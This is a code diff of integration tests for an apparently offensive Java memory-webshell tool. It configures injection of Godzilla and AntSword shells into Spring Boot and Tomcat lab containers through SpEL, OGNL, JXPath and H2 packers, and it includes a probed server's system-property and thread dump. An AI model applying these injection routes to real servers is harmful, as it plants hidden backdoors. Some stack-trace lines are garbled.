public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||||
|
|
||||||
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
||||||
@@ -25,6 +25,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||||
|
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||||
|
|
||||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
|
|||||||
+90
@@ -0,0 +1,90 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class SpringBoot359ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.jarFile(ContainerTool.springBoot359JarFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.SpringWebMvc)
|
||||||
|
.pidScript(ContainerTool.springbootPid)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("springboot3")
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
return generateTestCases(TOMCAT_CONFIG);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot359ExpressionContainerTest {
|
||||||
|
public static final String imageName = "springboot3";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
|
||||||
|
.withCommand("java -jar /app/app.jar")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
-2
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ContainerTool;
|
|
||||||
import com.reajason.javaweb.integration.ShellAssertion;
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
|||||||
+4
-4
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.struct2;
|
package com.reajason.javaweb.integration.memshell.struts2;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
@@ -19,11 +19,11 @@ import java.util.List;
|
|||||||
* @since 2024/12/4
|
* @since 2024/12/4
|
||||||
*/
|
*/
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Struct2ContainerTest extends AbstractContainerTest {
|
public class Struts2ContainerTest extends AbstractContainerTest {
|
||||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
.imageName("tomcat:8-jre8")
|
.imageName("tomcat:8-jre8")
|
||||||
.server(Server.Struct2)
|
.server(Server.Struts2)
|
||||||
.warFile(ContainerTool.struct2WarFile)
|
.warFile(ContainerTool.struts2WarFile)
|
||||||
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
||||||
.pidScript(ContainerTool.tomcatPid)
|
.pidScript(ContainerTool.tomcatPid)
|
||||||
.enableJspPackerTest(false)
|
.enableJspPackerTest(false)
|
||||||
+6
-6
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.probe.struct2;
|
package com.reajason.javaweb.integration.probe.struts2;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
@@ -11,17 +11,17 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
|
import static com.reajason.javaweb.integration.ContainerTool.struts2WarFile;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/4
|
* @since 2024/12/4
|
||||||
*/
|
*/
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
public class Struts2ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
|
||||||
.warFile(struct2WarFile)
|
.warFile(struts2WarFile)
|
||||||
.expectedJdkVersion("JRE|1.8.0_402|52")
|
.expectedJdkVersion("JRE|1.8.0_402|52")
|
||||||
.targetJdkVersion(Opcodes.V1_8)
|
.targetJdkVersion(Opcodes.V1_8)
|
||||||
.supportsBytecode(false)
|
.supportsBytecode(false)
|
||||||
@@ -47,7 +47,7 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
protected void testCommandReqHeaderResponseBody() {
|
protected void testCommandReqHeaderResponseBody() {
|
||||||
String url = getUrl();
|
String url = getUrl();
|
||||||
ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
|
ProbeAssertion.responseCommandIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -55,6 +55,6 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
protected void testScriptEngineReqHeaderResponseBody() {
|
protected void testScriptEngineReqHeaderResponseBody() {
|
||||||
String url = getUrl();
|
String url = getUrl();
|
||||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
|||||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||||
.expectedJdkVersion("JRE|17.0.18|61")
|
.expectedJdkVersion("JRE|17.0.19|61")
|
||||||
.targetJdkVersion(Opcodes.V1_8)
|
.targetJdkVersion(Opcodes.V1_8)
|
||||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.privilegedMode(true)
|
.privilegedMode(true)
|
||||||
|
|||||||
@@ -0,0 +1,718 @@
|
|||||||
|
# Generated At 2026-05-24 05:21:22
|
||||||
|
SystemProps:
|
||||||
|
java.specification.version: 17
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
|
bes.useNaming: true
|
||||||
|
sun.jnu.encoding: UTF-8
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,jakarta.mail,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.commons.commons-beanutils,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,org.apache.commons.commons-collections4,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,jakartaee-api-endorsed,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,jakartaee,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,jakarta.persistence,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
|
com.bes.resource.ejb.leakDetect: false
|
||||||
|
bes.loader: bes-system
|
||||||
|
sun.arch.data.model: 64
|
||||||
|
java.vendor.url: https://adoptium.net/
|
||||||
|
sun.boot.library.path: /opt/java/openjdk/lib
|
||||||
|
com.bes.hostName: d7c39dda372c
|
||||||
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||||
|
jdk.debug: release
|
||||||
|
java.specification.vendor: Oracle Corporation
|
||||||
|
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||||
|
java.version.date: 2026-04-21
|
||||||
|
java.home: /opt/java/openjdk
|
||||||
|
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||||
|
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||||
|
file.separator: /
|
||||||
|
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||||
|
java.vm.compressedOopsMode: 32-bit
|
||||||
|
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||||
|
line.separator:
|
||||||
|
|
||||||
|
java.vm.specification.vendor: Oracle Corporation
|
||||||
|
java.specification.name: Java Platform API Specification
|
||||||
|
com.bes.instanceRoot: /opt/bes
|
||||||
|
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||||
|
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||||
|
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||||
|
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||||
|
java.runtime.version: 17.0.19+10
|
||||||
|
user.name: root
|
||||||
|
java.security.policy: /opt/bes/conf/security/server.policy
|
||||||
|
com.bes.javaRoot: /opt/java/openjdk
|
||||||
|
file.encoding: UTF-8
|
||||||
|
java.vendor.version: Temurin-17.0.19+10
|
||||||
|
derby.system.home: /opt/bes
|
||||||
|
java.io.tmpdir: /tmp
|
||||||
|
java.version: 17.0.19
|
||||||
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
|
native.encoding: UTF-8
|
||||||
|
java.library.path: /opt/bes/lib
|
||||||
|
java.vendor: Eclipse Adoptium
|
||||||
|
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||||
|
java.specification.maintenance.version: 1
|
||||||
|
java.rmi.server.randomIDs: true
|
||||||
|
xxx: xxx
|
||||||
|
sun.io.unicode.encoding: UnicodeLittle
|
||||||
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
|
bcs.loader: "${bes.home}/lib/bcs/*.jar"
|
||||||
|
hsqldb.reconfig_logging: false
|
||||||
|
bes.home: /opt/bes
|
||||||
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
|
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||||
|
java.class.path: /opt/bes/patch/V11.0.0.3668.012.core.jar:/opt/bes/patch/V11.0.0.3668.009.core.jar:/opt/bes/patch/V11.0.0.3668.007.core.jar:/opt/bes/patch/V11.0.0.3668.005.core.jar:/opt/bes/patch/V11.0.0.3668.004.core.jar:/opt/bes/patch/V11.0.0.3668.001.core.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl.jar
|
||||||
|
jakarta.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||||
|
java.vm.vendor: Eclipse Adoptium
|
||||||
|
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||||
|
bes.base: /opt/bes
|
||||||
|
user.timezone: Etc/UTC
|
||||||
|
com.bes.instanceName: server
|
||||||
|
java.vm.specification.version: 17
|
||||||
|
os.name: Linux
|
||||||
|
sun.java.launcher: SUN_STANDARD
|
||||||
|
user.country: US
|
||||||
|
sun.cpu.endian: little
|
||||||
|
com.bes.enterprise.deployments.classpath: false
|
||||||
|
user.home: /root
|
||||||
|
user.language: en
|
||||||
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
|
com.bes.verboseMode: true
|
||||||
|
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||||
|
java.awt.headless: true
|
||||||
|
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||||
|
server.loader:
|
||||||
|
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||||
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
|
java.net.preferIPv4Stack: true
|
||||||
|
path.separator: :
|
||||||
|
java.security.egd: file:/dev/./urandom
|
||||||
|
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
|
||||||
|
os.version: 6.8.0-111-generic
|
||||||
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
|
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||||
|
com.bes.resource.leakDetect: false
|
||||||
|
bes.version: 11.0.0
|
||||||
|
java.vm.name: OpenJDK 64-Bit Server VM
|
||||||
|
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||||
|
com.bes.installRoot: /opt/bes
|
||||||
|
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
|
||||||
|
user.dir: /opt/bes/conf
|
||||||
|
bval.in-container: true
|
||||||
|
os.arch: amd64
|
||||||
|
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
|
java.vm.info: mixed mode, sharing
|
||||||
|
java.vm.version: 17.0.19+10
|
||||||
|
java.class.version: 61.0
|
||||||
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
ThreadStacks:
|
||||||
|
"AppServer-utility-2" #73 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
